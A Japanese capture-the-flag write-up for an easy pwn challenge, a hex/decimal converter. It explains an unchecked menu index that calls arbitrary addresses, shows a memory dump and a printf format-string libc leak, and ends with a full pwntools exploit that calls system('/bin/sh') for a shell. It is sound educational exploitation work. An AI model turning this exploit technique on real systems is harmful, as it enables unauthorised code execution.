pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...
概要
動かすと、0)
~3)
のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointer
はよくわからなかった。
入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080
に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0
にはPlease enter your number:
での入力が入っていて、call rax
の際の第一引数になる)
shl rax, 4 add rax, obj.parsers mov rax, qword [rax] mov edi, obj.buf call rax
だが、ここでは入力チェックが欠けていて、-2
とか100
などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3
だと48バイト前に書かれているアドレスをcallする。
obj.parsers
周辺を見てみると、printf
やobj.buf
もcallできることがわかる。
0x00601000 280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域 0x00601010 0000 0000 0000 0000 d605 4000 0000 0000 0x00601020 e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !? 0x00601030 0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets 0x00601040 2606 4000 0000 0000 3606 4000 0000 0000 0x00601050 4606 4000 0000 0000 0000 0000 0000 0000 0x00601060 0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域 0x00601070 0000 0000 0000 0000 0000 0000 0000 0000 0x00601080 3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d 0x00601090 6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761 0x006010a0 8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785 0x006010b0 0000 0000 0000 0000 0000 0000 0000 0000 0x006010c0 0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域 0x006010d0 0000 0000 0000 0000 0000 0000 0000 0000 0x006010e0 0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !? 0x006010f0 0000 0000 0000 0000 0000 0000 0000 0000 0x00601100 0000 0000 0000 0000 0000 0000 0000 0000 0x00601110 0000 0000 0000 0000 0000 0000 0000 0000
printf
でリークができないか試してみる。上より、-6
を入れてやればcallできた。
$ ./cfy What do you want to do? 0) parse from hex 1) parse from dec 2) parse from pointer 3) quit -6 Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 dec: 333 hex: 0x14d
9番目の%p
で出力されている0x7f31657be1c1
はmain
関数のリターンアドレスで、__libc_start_main
にリターンする。
vmmap
でlibcのベースアドレスは0x7ffff79f5000
となったので、オフセットは0x211c1
。
$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000' 0x211c1
libcのベースアドレスがわかるので、system
(オフセットは0x47dc0
)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.buf
に書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.buf
の領域にsystem
のアドレスを書き込んだあと、2回目で/bin/sh
を引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.buf
に書き込んでも2回目で/bin/sh
という7byte分は上書きされるということ。なので、system
のアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。
Exploit
from pwn import * c = remote('localhost', 62000) libc_start_main_offset = 0x211c1 system_offset = 0x47dc0 # leak libc's address c.recv(1024) c.send("-6\n") c.recv(1024) c.send("%9$lx\n") libc_base = int(c.recv(12), 16) - libc_start_main_offset log.info(hex(libc_base)) system_addr = libc_base + system_offset # write system's address c.recv(1024) c.send("1\n") payload = p64(0) payload += p64(0) # padding for string '/bin/sh' payload += p64(system_addr) payload += "\n" c.recv(1024) c.send(payload) # pass '/bin/sh' & call system c.recv(1024) c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10 c.recv(1024) c.send("/bin/sh\n") time.sleep(0.3) c.interactive()